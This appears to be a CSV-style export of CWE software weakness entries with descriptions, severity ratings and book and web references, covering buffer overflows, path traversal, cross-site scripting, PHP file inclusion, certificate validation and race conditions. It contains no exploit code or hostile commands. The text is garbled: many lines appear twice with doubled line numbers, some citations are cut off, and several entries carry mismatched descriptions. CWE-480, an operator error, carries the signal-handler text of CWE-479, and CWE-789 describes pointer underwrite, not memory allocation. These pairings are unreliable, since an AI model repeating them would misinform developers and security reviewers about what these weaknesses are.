193 The Art of Software Security Assessment: Chapter 2, ""Common Vulnerabilities of Authorization"", Page 39."
193 The Art of Software Security Assessment: Chapter 2, ""Common Vulnerabilities of Authorization"", Page 39."
194194 CWE-99,Improper Control of Resource Identifiers (Resource Injection) (Type: Base),"The software receives input from an upstream component, but it does not restrict or incorrectly restricts the input before it is used as an identifier for a resource that may be outside the intended sphere of control.
195 This may enable an attacker to access or modify otherwise protected system resources.",,high,
195 This may enable an attacker to access or modify otherwise protected system resources.",,high,
196196 CWE-120,Buffer Copy without Checking Size of Input (Classic Buffer Overflow) (Type: Base),"The program copies an input buffer to an output buffer without verifying that the size of the input buffer is less than the size of the output buffer, leading to a buffer overflow.
197197 A buffer overflow condition exists when a program attempts to put more data in a buffer than it can hold, or when a program attempts to put data in a memory area outside of the boundaries of a buffer. The simplest type of error, and the most common cause of buffer overflows, is the ""classic"" case in which the program copies the buffer without restricting how much is copied. Other variants exist, but the existence of a classic overflow strongly suggests that the programmer is not considering even the most basic of security protections.",,high,"Writing Secure Code: Chapter 5, ""Public Enemy #1: The Buffer Overrun"" Page 127
198198 24 Deadly Sins of Software Security: ""Sin 5: Buffer Overruns."" Page 89
206206 Least Privilege: https://buildsecurityin.us-cert.gov/daisy/bsi/articles/knowledge/principles/351.html
207207 The Art of Software Security Assessment: Chapter 3, ""Nonexecutable Stack"", Page 76.
208208 The Art of Software Security Assessment: Chapter 5, ""Protection Mechanisms"", Page 189.
209 The Art of Software Security Assessment: Chapter 8, ""C String Handling"", Page 388."
209 The Art of Software Security Assessment: Chapter 8, ""C String Handling"", Page 388."
210210 CWE-122,Heap-based Buffer Overflow (Type: Variant),"A heap overflow condition is a buffer overflow, where the buffer that can be overwritten is allocated in the heap portion of memory, generally meaning that the buffer was allocated using a routine such as malloc().
211211 A buffer overflow condition exists when a program attempts to put more data in a buffer than it can hold, or when a program attempts to put data in a memory area outside of the boundaries of a buffer. The simplest type of error, and the most common cause of buffer overflows, is the ""classic"" case in which the program copies the buffer without restricting how much is copied. Other variants exist, but the existence of a classic overflow strongly suggests that the programmer is not considering even the most basic of security protections.",,high,"Writing Secure Code: Chapter 5, ""Heap Overruns"" Page 138
212212 24 Deadly Sins of Software Security: ""Sin 5: Buffer Overruns."" Page 89
213213 The Art of Software Security Assessment: Chapter 3, ""Nonexecutable Stack"", Page 76.
214 The Art of Software Security Assessment: Chapter 5, ""Protection Mechanisms"", Page 189."
214 The Art of Software Security Assessment: Chapter 5, ""Protection Mechanisms"", Page 189."
215215 CWE-131,Incorrect Calculation of Buffer Size (Type: Base),"The software does not correctly calculate the size to be used when allocating a buffer, which could lead to a buffer overflow.
216216 If an attacker can manipulate the length parameter associated with an input such that it is inconsistent with the actual length of the input, this can be leveraged to cause the target application to behave in unexpected, and possibly, malicious ways. One of the possible motives for doing so is to pass in arbitrarily large input to the application. Another possible motivation is the modification of application state by including invalid data for subsequent properties of the application. Such weaknesses commonly lead to attacks such as buffer overflows and execution of arbitrary code.",,high,"SafeInt: http://safeint.codeplex.com/
217217 Top 25 Series - Rank 18 - Incorrect Calculation of Buffer Size: http://software-security.sans.org/blog/2010/03/19/top-25-series-rank-18-incorrect-calculation-of-buffer-size
221221 Least Privilege: https://buildsecurityin.us-cert.gov/daisy/bsi/articles/knowledge/principles/351.html
222222 Writing Secure Code: Chapter 20, ""Integer Overflows"" Page 620
223223 24 Deadly Sins of Software Security: ""Sin 5: Buffer Overruns."" Page 89
224 The Art of Software Security Assessment: Chapter 8, ""Incrementing Pointers Incorrectly"", Page 401."
224 The Art of Software Security Assessment: Chapter 8, ""Incrementing Pointers Incorrectly"", Page 401."
225225 CWE-22,Improper Limitation of a Pathname to a Restricted Directory (Path Traversal) (Type: Class),"The software uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the software does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.
226226 Many file operations are intended to take place within a restricted directory. By using special elements such as "".."" and ""/"" separators, attackers can escape outside of the restricted location to access files or directories that are elsewhere on the system. One of the most common special elements is the ""../"" sequence, which in most modern operating systems is interpreted as the parent directory of the current location. This is referred to as relative path traversal. Path traversal also covers the use of absolute pathnames such as ""/usr/local/bin"", which may also be useful in accessing unexpected files. This is referred to as absolute path traversal.
227227 In many programming languages, the injection of a null byte (the 0 or NUL) may allow an attacker to truncate a generated filename to widen the scope of attack. For example, the software may add "".txt"" to any pathname, thus limiting the attacker to text files, but a null injection may effectively remove this restriction.",,high,"Writing Secure Code: Chapter 11, ""Directory Traversal and Using Parent Paths (..)"" Page 370
229229 Testing for Path Traversal (OWASP-AZ-001): http://www.owasp.org/index.php/Testing_for_Path_Traversal_(OWASP-AZ-001)
230230 Top 25 Series - Rank 7 - Path Traversal: http://blogs.sans.org/appsecstreetfighter/2010/03/09/top-25-series-rank-7-path-traversal/
231231 Least Privilege: https://buildsecurityin.us-cert.gov/daisy/bsi/articles/knowledge/principles/351.html
232 The Art of Software Security Assessment: Chapter 9, ""Filenames and Paths"", Page 503."
232 The Art of Software Security Assessment: Chapter 9, ""Filenames and Paths"", Page 503."
233233 CWE-311,Missing Encryption of Sensitive Data (Type: Base),"The software does not encrypt sensitive or critical information before storage or transmission.
234234 The lack of proper data encryption passes up the guarantees of confidentiality, integrity, and accountability that properly implemented encryption conveys.",,high,"Writing Secure Code: Chapter 9, ""Protecting Secret Data"" Page 299
235235 24 Deadly Sins of Software Security: ""Sin 17: Failure to Protect Stored Data."" Page 253
236236 Top 25 Series - Rank 10 - Missing Encryption of Sensitive Data: http://blogs.sans.org/appsecstreetfighter/2010/02/26/top-25-series-rank-10-missing-encryption-of-sensitive-data/
237237 The Art of Software Security Assessment: Chapter 2, ""Common Vulnerabilities of Encryption"", Page 43.
238 SECURITY REQUIREMENTS FOR CRYPTOGRAPHIC MODULES: http://csrc.nist.gov/publications/fips/fips140-2/fips1402.pdf"
238 SECURITY REQUIREMENTS FOR CRYPTOGRAPHIC MODULES: http://csrc.nist.gov/publications/fips/fips140-2/fips1402.pdf"
239239 CWE-464,Addition of Data Structure Sentinel (Type: Base),"The accidental addition of a data-structure sentinel can cause serious programming logic problems.
240 Data-structure sentinels are often used to mark the structure of data. A common example of this is the null character at the end of strings or a special sentinel to mark the end of a linked list. It is dangerous to allow this type of control data to be easily accessible. Therefore, it is important to protect from the addition or modification of sentinels.",,high,
240 Data-structure sentinels are often used to mark the structure of data. A common example of this is the null character at the end of strings or a special sentinel to mark the end of a linked list. It is dangerous to allow this type of control data to be easily accessible. Therefore, it is important to protect from the addition or modification of sentinels.",,high,
241241 CWE-67,Improper Handling of Windows Device Names (Type: Variant),"The software constructs pathnames from user input, but it does not handle or incorrectly handles a pathname containing a Windows device name such as AUX or CON. This typically leads to denial of service or an information exposure when the application attempts to process the pathname as a regular file.
242242 Not properly handling virtual filenames (e.g. AUX, CON, PRN, COM1, LPT1) can result in different types of vulnerabilities. In some cases an attacker can request a device via injection of a virtual filename in a URL, which may cause an error that leads to a denial of service or an error page that reveals sensitive information. A software system that allows device names to bypass filtering runs the risk of an attacker injecting malicious code in a file with the name of a device.",,high,"Writing Secure Code
243 The Art of Software Security Assessment: Chapter 11, ""Device Files"", Page 666."
243 The Art of Software Security Assessment: Chapter 11, ""Device Files"", Page 666."
244244 CWE-73,External Control of File Name or Path (Type: Class),"The software allows user input to control or influence paths or file names that are used in filesystem operations.
245245 This could allow an attacker to access or modify system files or other files that are critical to the application.
246246 Path manipulation errors occur when the following two conditions are met:
247247 1. An attacker can specify a path used in an operation on the filesystem.
248248 2. By specifying the resource, the attacker gains a capability that would not otherwise be permitted.
249 For example, the program may give the attacker the ability to overwrite the specified file or run with a configuration controlled by the attacker.",,high,OWASP Enterprise Security API (ESAPI) Project: http://www.owasp.org/index.php/ESAPI
249 For example, the program may give the attacker the ability to overwrite the specified file or run with a configuration controlled by the attacker.",,high,OWASP Enterprise Security API (ESAPI) Project: http://www.owasp.org/index.php/ESAPI
250250 CWE-76,Improper Neutralization of Equivalent Special Elements (Type: Base),"The software properly neutralizes certain special elements, but it improperly neutralizes equivalent special elements.
251 The software may have a fixed list of special characters it believes is complete. However, there may be alternate encodings, or representations that also have the same meaning. For example, the software may filter out a leading slash (/) to prevent absolute path names, but does not account for a tilde (~) followed by a user name, which on some *nix systems could be expanded to an absolute pathname. Alternately, the software might filter a dangerous ""-e"" command-line switch when calling an external program, but it might not account for ""--exec"" or other switches that have the same semantics.",,high,
251 The software may have a fixed list of special characters it believes is complete. However, there may be alternate encodings, or representations that also have the same meaning. For example, the software may filter out a leading slash (/) to prevent absolute path names, but does not account for a tilde (~) followed by a user name, which on some *nix systems could be expanded to an absolute pathname. Alternately, the software might filter a dangerous ""-e"" command-line switch when calling an external program, but it might not account for ""--exec"" or other switches that have the same semantics.",,high,
252252 CWE-79,Improper Neutralization of Input During Web Page Generation (Cross-site Scripting) (Type: Base),"The software does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.
253253 Cross-site scripting (XSS) vulnerabilities occur when:
254254 1. Untrusted data enters a web application, typically from a web request.
280280 XSS (Cross Site Scripting) Prevention Cheat Sheet: http://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet
281281 DOM based XSS Prevention Cheat Sheet: http://www.owasp.org/index.php/DOM_based_XSS_Prevention_Cheat_Sheet
282282 Top 25 series - Rank 1 - Cross Site Scripting: http://blogs.sans.org/appsecstreetfighter/2010/02/22/top-25-series-rank-1-cross-site-scripting/
283 The Art of Software Security Assessment: Chapter 17, ""Cross Site Scripting"", Page 1071."
283 The Art of Software Security Assessment: Chapter 17, ""Cross Site Scripting"", Page 1071."
284284 CWE-80,Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS) (Type: Variant),"The software receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special characters such as ""<"", "">"", and ""&"" that could be interpreted as web-scripting elements when they are sent to a downstream component that processes web pages.
285 This may allow such characters to be treated as control characters, which are executed client-side in the context of the user's session. Although this can be classified as an injection problem, the more pertinent issue is the improper conversion of such special characters to respective context-appropriate entities before displaying them to the user.",,high,
285 This may allow such characters to be treated as control characters, which are executed client-side in the context of the user's session. Although this can be classified as an injection problem, the more pertinent issue is the improper conversion of such special characters to respective context-appropriate entities before displaying them to the user.",,high,
286286 CWE-98,Improper Control of Filename for Include/Require Statement in PHP Program (PHP Remote File Inclusion) (Type: Base),"The PHP application receives input from an upstream component, but it does not restrict or incorrectly restricts the input before its usage in ""require,"" ""include,"" or similar functions.
287287 In certain versions and configurations of PHP, this can allow an attacker to specify a URL to a remote location from which the software will obtain the code to execute. In other cases in association with path traversal, the attacker can specify a local file that may contain executable statements that can be parsed by PHP.",,high,"Testing for Path Traversal (OWASP-AZ-001): http://www.owasp.org/index.php/Testing_for_Path_Traversal_(OWASP-AZ-001)
288288 Least Privilege: https://buildsecurityin.us-cert.gov/daisy/bsi/articles/knowledge/principles/351.html
289289 A Study in Scarlet: http://www.cgisecurity.com/lib/studyinscarlet.txt
290290 Suhosin: http://www.hardened-php.net/suhosin/
291 Top 25 Series - Rank 13 - PHP File Inclusion: http://blogs.sans.org/appsecstreetfighter/2010/03/11/top-25-series-rank-13-php-file-inclusion/"
291 Top 25 Series - Rank 13 - PHP File Inclusion: http://blogs.sans.org/appsecstreetfighter/2010/03/11/top-25-series-rank-13-php-file-inclusion/"
292292 CWE-188,Reliance on Data/Memory Layout (Type: Base),"The software makes invalid assumptions about how protocol data or memory is organized at a lower level, resulting in unintended program behavior.
293 For example, an attacker might succeed in authentication by providing a small password that matches the associated portion of the larger, correct password.",,low,"The Art of Software Security Assessment: Chapter 6, ""Structure Padding"", Page 284."
293 For example, an attacker might succeed in authentication by providing a small password that matches the associated portion of the larger, correct password.",,low,"The Art of Software Security Assessment: Chapter 6, ""Structure Padding"", Page 284."
294294 CWE-197,Numeric Truncation Error (Type: Base),"Truncation errors occur when a primitive is cast to a primitive of a smaller size and data is lost in the conversion.
295 When a primitive is cast to a smaller primitive, the high order bits of the large value are lost in the conversion, potentially resulting in an unexpected value that is not equal to the original value. This value may be required as an index into a buffer, a loop iterator, or simply necessary state data. In any case, the value cannot be trusted and the system will be in an undefined state. While this method may be employed viably to isolate the low bits of a value, this usage is rare, and truncation usually implies that an implementation error has occurred.",,low,"The Art of Software Security Assessment: Chapter 6, ""Truncation"", Page 259."
295 When a primitive is cast to a smaller primitive, the high order bits of the large value are lost in the conversion, potentially resulting in an unexpected value that is not equal to the original value. This value may be required as an index into a buffer, a loop iterator, or simply necessary state data. In any case, the value cannot be trusted and the system will be in an undefined state. While this method may be employed viably to isolate the low bits of a value, this usage is rare, and truncation usually implies that an implementation error has occurred.",,low,"The Art of Software Security Assessment: Chapter 6, ""Truncation"", Page 259."
296296 CWE-252,Unchecked Return Value (Type: Base),"The software does not check the return value from a method or function, which can prevent it from detecting unexpected states and conditions.
297297 Two common programmer assumptions are ""this function call can never fail"" and ""it doesn't matter if this function call fails"". If an attacker can force the function to fail or otherwise return a value that is not expected, then the subsequent program logic could lead to a vulnerability, because the software is not in a state that the programmer assumes. For example, if the program calls a function to drop privileges but does not check the return code to ensure that privileges were successfully dropped, then the program will continue to operate with the higher privileges.",,low,"The Art of Software Security Assessment: Chapter 7, ""Program Building Blocks"" Page 341.
298298 Writing Secure Code: Chapter 20, ""Checking Returns"" Page 624
299299 24 Deadly Sins of Software Security: ""Sin 11: Failure to Handle Errors Correctly."" Page 183
300 ERR10-CPP. Check for error conditions: https://www.securecoding.cert.org/confluence/display/cplusplus/ERR10-CPP.+Check+for+error+conditions"
300 ERR10-CPP. Check for error conditions: https://www.securecoding.cert.org/confluence/display/cplusplus/ERR10-CPP.+Check+for+error+conditions"
301301 CWE-253,Incorrect Check of Function Return Value (Type: Base),"The software incorrectly checks a return value from a function, which prevents the software from detecting errors or exceptional conditions.
302 Two common programmer assumptions are ""this function call can never fail"" and ""it doesn't matter if this function call fails"". If an attacker can force the function to fail or otherwise return a value that is not expected, then the subsequent program logic could lead to a vulnerability, because the software is not in a state that the programmer assumes. For example, if the program calls a function to drop privileges but does not check the return code to ensure that privileges were successfully dropped, then the program will continue to operate with the higher privileges.",,low,"The Art of Software Security Assessment: Chapter 7, ""Return Value Testing and Interpretation"", Page 340."
302 Two common programmer assumptions are ""this function call can never fail"" and ""it doesn't matter if this function call fails"". If an attacker can force the function to fail or otherwise return a value that is not expected, then the subsequent program logic could lead to a vulnerability, because the software is not in a state that the programmer assumes. For example, if the program calls a function to drop privileges but does not check the return code to ensure that privileges were successfully dropped, then the program will continue to operate with the higher privileges.",,low,"The Art of Software Security Assessment: Chapter 7, ""Return Value Testing and Interpretation"", Page 340."
303303 CWE-296,Improper Following of a Certificates Chain of Trust (Type: Base),"The software does not follow, or incorrectly follows, the chain of trust for a certificate back to a trusted root certificate, resulting in incorrect trust of any resource that is associated with that certificate.
304304 If a system does not follow the chain of trust of a certificate to a root server, the certificate loses all usefulness as a metric of trust. Essentially, the trust gained from a certificate is derived from a chain of trust -- with a reputable trusted entity at the end of that list. The end user must trust that reputable source, and this reputable source must vouch for the resource in question through the medium of the certificate.
305305 In some cases, this trust traverses several entities who vouch for one another. The entity trusted by the end user is at one end of this trust chain, while the certificate-wielding resource is at the other end of the chain. If the user receives a certificate at the end of one of these trust chains and then proceeds to check only that the first link in the chain, no real trust has been derived, since the entire chain must be traversed back to a trusted source to verify the certificate.
308308 Not every intermediate certificate is checked, starting from the original certificate all the way up to the root certificate.
309309 An intermediate, CA-signed certificate does not have the expected Basic Constraints or other important extensions.
310310 The root certificate has been compromised or authorized to the wrong party.",,low,"The Most Dangerous Code in the World: Validating SSL Certificates in Non-Browser Software: http://www.cs.utexas.edu/~shmat/shmat_ccs12.pdf
311 24 Deadly Sins of Software Security: ""Sin 23: Improper Use of PKI, Especially SSL."" Page 347"
311 24 Deadly Sins of Software Security: ""Sin 23: Improper Use of PKI, Especially SSL."" Page 347"
312312 CWE-298,Improper Validation of Certificate Expiration (Type: Variant),"A certificate expiration is not validated or is incorrectly validated, so trust may be assigned to certificates that have been abandoned due to age.
313 When the expiration of a certificate is not taken into account, no trust has necessarily been conveyed through it. Therefore, the validity of the certificate cannot be verified and all benefit of the certificate is lost.",,low,"24 Deadly Sins of Software Security: ""Sin 23: Improper Use of PKI, Especially SSL."" Page 347"
313 When the expiration of a certificate is not taken into account, no trust has necessarily been conveyed through it. Therefore, the validity of the certificate cannot be verified and all benefit of the certificate is lost.",,low,"24 Deadly Sins of Software Security: ""Sin 23: Improper Use of PKI, Especially SSL."" Page 347"
314314 CWE-324,Use of a Key Past its Expiration Date (Type: Base),"The product uses a cryptographic key or password past its expiration date, which diminishes its safety significantly by increasing the timing window for cracking attacks against that key.
315 While the expiration of keys does not necessarily ensure that they are compromised, it is a significant concern that keys which remain in use for prolonged periods of time have a decreasing probability of integrity. For this reason, it is important to replace keys within a period of time proportional to their strength.",,low,"24 Deadly Sins of Software Security: ""Sin 23: Improper Use of PKI, Especially SSL."" Page 347"
315 While the expiration of keys does not necessarily ensure that they are compromised, it is a significant concern that keys which remain in use for prolonged periods of time have a decreasing probability of integrity. For this reason, it is important to replace keys within a period of time proportional to their strength.",,low,"24 Deadly Sins of Software Security: ""Sin 23: Improper Use of PKI, Especially SSL."" Page 347"
316316 CWE-379,Creation of Temporary File in Directory with Incorrect Permissions (Type: Base),"The software creates a temporary file in a directory whose permissions allow unintended actors to determine the file's existence or otherwise access that file.
317 On some operating systems, the fact that the temporary file exists may be apparent to any user with sufficient privileges to access that directory. Since the file is visible, the application that is using the temporary file could be known. If one has access to list the processes on the system, the attacker has gained information about what the user is doing at that time. By correlating this with the applications the user is running, an attacker could potentially discover what a user's actions are. From this, higher levels of security could be breached.",,low,"The Art of Software Security Assessment: Chapter 9, ""Temporary Files"", Page 538."
317 On some operating systems, the fact that the temporary file exists may be apparent to any user with sufficient privileges to access that directory. Since the file is visible, the application that is using the temporary file could be known. If one has access to list the processes on the system, the attacker has gained information about what the user is doing at that time. By correlating this with the applications the user is running, an attacker could potentially discover what a user's actions are. From this, higher levels of security could be breached.",,low,"The Art of Software Security Assessment: Chapter 9, ""Temporary Files"", Page 538."
318318 CWE-462,Duplicate Key in Associative List (Alist) (Type: Base),"Duplicate keys in associative lists can lead to non-unique keys being mistaken for an error.
319 A duplicate key entry -- if the alist is designed properly -- could be used as a constant time replace function. However, duplicate key entries could be inserted by mistake. Because of this ambiguity, duplicate key entries in an association list are not recommended and should not be allowed.",,low,
319 A duplicate key entry -- if the alist is designed properly -- could be used as a constant time replace function. However, duplicate key entries could be inserted by mistake. Because of this ambiguity, duplicate key entries in an association list are not recommended and should not be allowed.",,low,
320320 CWE-479,Signal Handler Use of a Non-reentrant Function (Type: Variant),"The program defines a signal handler that calls a non-reentrant function.
321321 Non-reentrant functions are functions that cannot safely be called, interrupted, and then recalled before the first call has finished without resulting in memory corruption. This can lead to an unexpected system state an unpredictable results with a variety of potential consequences depending on context, including denial of service and code execution.
322 Many functions are not reentrant, but some of them can result in the corruption of memory if they are used in a signal handler. The function call syslog() is an example of this. In order to perform its functionality, it allocates a small amount of memory as ""scratch space."" If syslog() is suspended by a signal call and the signal handler calls syslog(), the memory used by both of these functions enters an undefined, and possibly, exploitable state. Implementations of malloc() and free() manage metadata in global structures in order to track which memory is allocated versus which memory is available, but they are non-reentrant. Simultaneous calls to these functions can cause corruption of the metadata.",,low,"The Art of Software Security Assessment: Chapter 13, ""Signal Vulnerabilities"", Page 791."
322 Many functions are not reentrant, but some of them can result in the corruption of memory if they are used in a signal handler. The function call syslog() is an example of this. In order to perform its functionality, it allocates a small amount of memory as ""scratch space."" If syslog() is suspended by a signal call and the signal handler calls syslog(), the memory used by both of these functions enters an undefined, and possibly, exploitable state. Implementations of malloc() and free() manage metadata in global structures in order to track which memory is allocated versus which memory is available, but they are non-reentrant. Simultaneous calls to these functions can cause corruption of the metadata.",,low,"The Art of Software Security Assessment: Chapter 13, ""Signal Vulnerabilities"", Page 791."
323323 CWE-480,Use of Incorrect Operator (Type: Base),"The programmer accidentally uses the wrong operator, which changes the application logic in security-relevant ways.
324324 Non-reentrant functions are functions that cannot safely be called, interrupted, and then recalled before the first call has finished without resulting in memory corruption. This can lead to an unexpected system state an unpredictable results with a variety of potential consequences depending on context, including denial of service and code execution.
325 Many functions are not reentrant, but some of them can result in the corruption of memory if they are used in a signal handler. The function call syslog() is an example of this. In order to perform its functionality, it allocates a small amount of memory as ""scratch space."" If syslog() is suspended by a signal call and the signal handler calls syslog(), the memory used by both of these functions enters an undefined, and possibly, exploitable state. Implementations of malloc() and free() manage metadata in global structures in order to track which memory is allocated versus which memory is available, but they are non-reentrant. Simultaneous calls to these functions can cause corruption of the metadata.",,low,"The Art of Software Security Assessment: Chapter 6, ""Typos"", Page 289."
325 Many functions are not reentrant, but some of them can result in the corruption of memory if they are used in a signal handler. The function call syslog() is an example of this. In order to perform its functionality, it allocates a small amount of memory as ""scratch space."" If syslog() is suspended by a signal call and the signal handler calls syslog(), the memory used by both of these functions enters an undefined, and possibly, exploitable state. Implementations of malloc() and free() manage metadata in global structures in order to track which memory is allocated versus which memory is available, but they are non-reentrant. Simultaneous calls to these functions can cause corruption of the metadata.",,low,"The Art of Software Security Assessment: Chapter 6, ""Typos"", Page 289."
326326 CWE-481,Assigning instead of Comparing (Type: Variant),"The code uses an operator for assignment when the intention was to perform a comparison.
327 In many languages the compare statement is very close in appearance to the assignment statement and are often confused. This bug is generally the result of a typo and usually causes obvious problems with program execution. If the comparison is in an if statement, the if statement will usually evaluate the value of the right-hand side of the predicate.",,low,"The Art of Software Security Assessment: Chapter 6, ""Typos"", Page 289."
327 In many languages the compare statement is very close in appearance to the assignment statement and are often confused. This bug is generally the result of a typo and usually causes obvious problems with program execution. If the comparison is in an if statement, the if statement will usually evaluate the value of the right-hand side of the predicate.",,low,"The Art of Software Security Assessment: Chapter 6, ""Typos"", Page 289."
328328 CWE-482,Comparing instead of Assigning (Type: Variant),"The code uses an operator for comparison when the intention was to perform an assignment.
329 In many languages, the compare statement is very close in appearance to the assignment statement; they are often confused.",,low,"The Art of Software Security Assessment: Chapter 6, ""Typos"", Page 289."
329 In many languages, the compare statement is very close in appearance to the assignment statement; they are often confused.",,low,"The Art of Software Security Assessment: Chapter 6, ""Typos"", Page 289."
330330 CWE-483,Incorrect Block Delimitation (Type: Variant),"The code does not explicitly delimit a block that is intended to contain 2 or more statements, creating a logic error.
331 In some languages, braces (or other delimiters) are optional for blocks. When the delimiter is omitted, it is possible to insert a logic error in which a statement is thought to be in a block but is not. In some cases, the logic error can have security implications.",,low,
331 In some languages, braces (or other delimiters) are optional for blocks. When the delimiter is omitted, it is possible to insert a logic error in which a statement is thought to be in a block but is not. In some cases, the logic error can have security implications.",,low,
332332 CWE-641,Improper Restriction of Names for Files and Other Resources (Type: Base),"The application constructs the name of a file or other resource using input from an upstream component, but does not restrict or incorrectly restricts the resulting name.
333 This may produce resultant weaknesses. For instance, if the names of these resources contain scripting characters, it is possible that a script may get executed in the client's browser if the application ever displays the name of the resource on a dynamically generated web page. Alternately, if the resources are consumed by some application parser, a specially crafted name can exploit some vulnerability internal to the parser, potentially resulting in execution of arbitrary code on the server machine. The problems will vary based on the context of usage of such malformed resource names and whether vulnerabilities are present in or assumptions are made by the targeted technology that would make code execution possible.",,low,
333 This may produce resultant weaknesses. For instance, if the names of these resources contain scripting characters, it is possible that a script may get executed in the client's browser if the application ever displays the name of the resource on a dynamically generated web page. Alternately, if the resources are consumed by some application parser, a specially crafted name can exploit some vulnerability internal to the parser, potentially resulting in execution of arbitrary code on the server machine. The problems will vary based on the context of usage of such malformed resource names and whether vulnerabilities are present in or assumptions are made by the targeted technology that would make code execution possible.",,low,
334334 CWE-648,Incorrect Use of Privileged APIs (Type: Base),"The application does not conform to the API requirements for a function call that requires extra privileges. This could allow attackers to gain privileges by causing the function to be called incorrectly.
335335 When an application contains certain functions that perform operations requiring an elevated level of privilege, the caller of a privileged API must be careful to:
336336 ensure that assumptions made by the APIs are valid, such as validity of arguments
337337 account for known weaknesses in the design/implementation of the API
338338 call the API from a safe context
339339 If the caller of the API does not follow these requirements, then it may allow a malicious user or process to elevate their privilege, hijack the process, or steal sensitive data.
340 For instance, it is important to know if privileged APIs do not shed their privileges before returning to the caller or if the privileged function might make certain assumptions about the data, context or state information passed to it by the caller. It is important to always know when and how privileged APIs can be called in order to ensure that their elevated level of privilege cannot be exploited.",,low,
340 For instance, it is important to know if privileged APIs do not shed their privileges before returning to the caller or if the privileged function might make certain assumptions about the data, context or state information passed to it by the caller. It is important to always know when and how privileged APIs can be called in order to ensure that their elevated level of privilege cannot be exploited.",,low,
341341 CWE-762,Mismatched Memory Management Routines (Type: Variant),"The application attempts to return a memory resource to the system, but it calls a release function that is not compatible with the function that was originally used to allocate that resource.
342342 This weakness can be generally described as mismatching memory management routines, such as:
343343 The memory was allocated on the stack (automatically), but it was deallocated using the memory management routine free() (CWE-590), which is intended for explicitly allocated heap memory.
344344 The memory was allocated explicitly using one set of memory management functions, and deallocated using a different set. For example, memory might be allocated with malloc() in C++ instead of the new operator, and then deallocated with the delete operator.
345345 When the memory management functions are mismatched, the consequences may be as severe as code execution, memory corruption, or program crash. Consequences and ease of exploit will vary depending on the implementation of the routines and the object being managed.",,low,"boost C++ Library Smart Pointers: http://www.boost.org/doc/libs/1_38_0/libs/smart_ptr/smart_ptr.htm
346 Valgrind: http://valgrind.org/"
346 Valgrind: http://valgrind.org/"
347347 CWE-783,Operator Precedence Logic Error (Type: Variant),"The program uses an expression in which operator precedence causes incorrect logic to be used.
348348 While often just a bug, operator precedence logic errors can have serious consequences if they are used in security-critical code, such as making an authentication decision.",,low,"EXP00-C. Use parentheses for precedence of operation: https://www.securecoding.cert.org/confluence/display/seccode/EXP00-C.+Use+parentheses+for+precedence+of+operation
349 The Art of Software Security Assessment: Chapter 6, ""Precedence"", Page 287."
349 The Art of Software Security Assessment: Chapter 6, ""Precedence"", Page 287."
350350 CWE-789,Uncontrolled Memory Allocation (Type: Variant),"The product allocates memory based on an untrusted size value, but it does not validate or incorrectly validates the size, allowing arbitrary amounts of memory to be allocated.
351 This typically occurs when a pointer or its index is decremented to a position before the buffer, when pointer arithmetic results in a position before the beginning of the valid memory location, or when a negative index is used. These problems may be resultant from missing sentinel values (CWE-463) or trusting a user-influenced input length variable.",,low,"The Art of Software Security Assessment: Chapter 10, ""Resource Limits"", Page 574."
351 This typically occurs when a pointer or its index is decremented to a position before the buffer, when pointer arithmetic results in a position before the beginning of the valid memory location, or when a negative index is used. These problems may be resultant from missing sentinel values (CWE-463) or trusting a user-influenced input length variable.",,low,"The Art of Software Security Assessment: Chapter 10, ""Resource Limits"", Page 574."
352352 CWE-333,Improper Handling of Insufficient Entropy in TRNG (Type: Variant),"True random number generators (TRNG) generally have a limited source of entropy and therefore can fail or block.
353 The rate at which true random numbers can be generated is limited. It is important that one uses them only when they are needed for security.",,medium,
353 The rate at which true random numbers can be generated is limited. It is important that one uses them only when they are needed for security.",,medium,
354354 CWE-367,Time-of-check Time-of-use (TOCTOU) Race Condition (Type: Base),"The software checks the state of a resource before using that resource, but the resource's state can change between the check and the use in a way that invalidates the results of the check. This can cause the software to perform invalid actions when the resource is in an unexpected state.
355355 This weakness can be security-relevant when an attacker can influence the state of the resource between check and use. This can happen with shared resources such as files, memory, or even variables in multithreaded programs.",,medium,"Portably Solving File TOCTTOU Races with Hardness Amplification: http://www.usenix.org/events/fast08/tech/tsafrir.html
356356 24 Deadly Sins of Software Security: ""Sin 13: Race Conditions."" Page 205
357 The Art of Software Security Assessment: Chapter 9, ""TOCTOU"", Page 527."
357 The Art of Software Security Assessment: Chapter 9, ""TOCTOU"", Page 527."
358358 CWE-404,Improper Resource Shutdown or Release (Type: Base),"The program does not release or incorrectly releases a resource before it is made available for re-use.
359 When a resource is created or allocated, the developer is responsible for properly releasing the resource as well as accounting for all potential paths of expiration or invalidation, such as a set period of time or revocation.",,medium,"24 Deadly Sins of Software Security: ""Sin 8: C++ Catastrophes."" Page 143"
359 When a resource is created or allocated, the developer is responsible for properly releasing the resource as well as accounting for all potential paths of expiration or invalidation, such as a set period of time or revocation.",,medium,"24 Deadly Sins of Software Security: ""Sin 8: C++ Catastrophes."" Page 143"
360360 CWE-407,Algorithmic Complexity (Type: Base),"An algorithm in a product has an inefficient worst-case computational complexity that may be detrimental to system performance and can be triggered by an attacker, typically using crafted manipulations that ensure that the worst case is being reached.
361 In the absence of a policy to restrict asymmetric resource consumption, the application or system cannot distinguish between legitimate transmissions and traffic intended to serve as an amplifying attack on target systems. Systems can often be configured to restrict the amount of traffic sent out on behalf of a client, based on the client's origin or access level. This is usually defined in a resource allocation policy. In the absence of a mechanism to keep track of transmissions, the system or application can be easily abused to transmit asymmetrically greater traffic than the request or client should be permitted to.",,medium,Algorithmic Complexity Attacks: http://www.cs.rice.edu/~scrosby/hash/CrosbyWallach_UsenixSec2003/index.html
361 In the absence of a policy to restrict asymmetric resource consumption, the application or system cannot distinguish between legitimate transmissions and traffic intended to serve as an amplifying attack on target systems. Systems can often be configured to restrict the amount of traffic sent out on behalf of a client, based on the client's origin or access level. This is usually defined in a resource allocation policy. In the absence of a mechanism to keep track of transmissions, the system or application can be easily abused to transmit asymmetrically greater traffic than the request or client should be permitted to.",,medium,Algorithmic Complexity Attacks: http://www.cs.rice.edu/~scrosby/hash/CrosbyWallach_UsenixSec2003/index.html
362362 CWE-415,Double Free (Type: Variant),"The product calls free() twice on the same memory address, potentially leading to modification of unexpected memory locations.
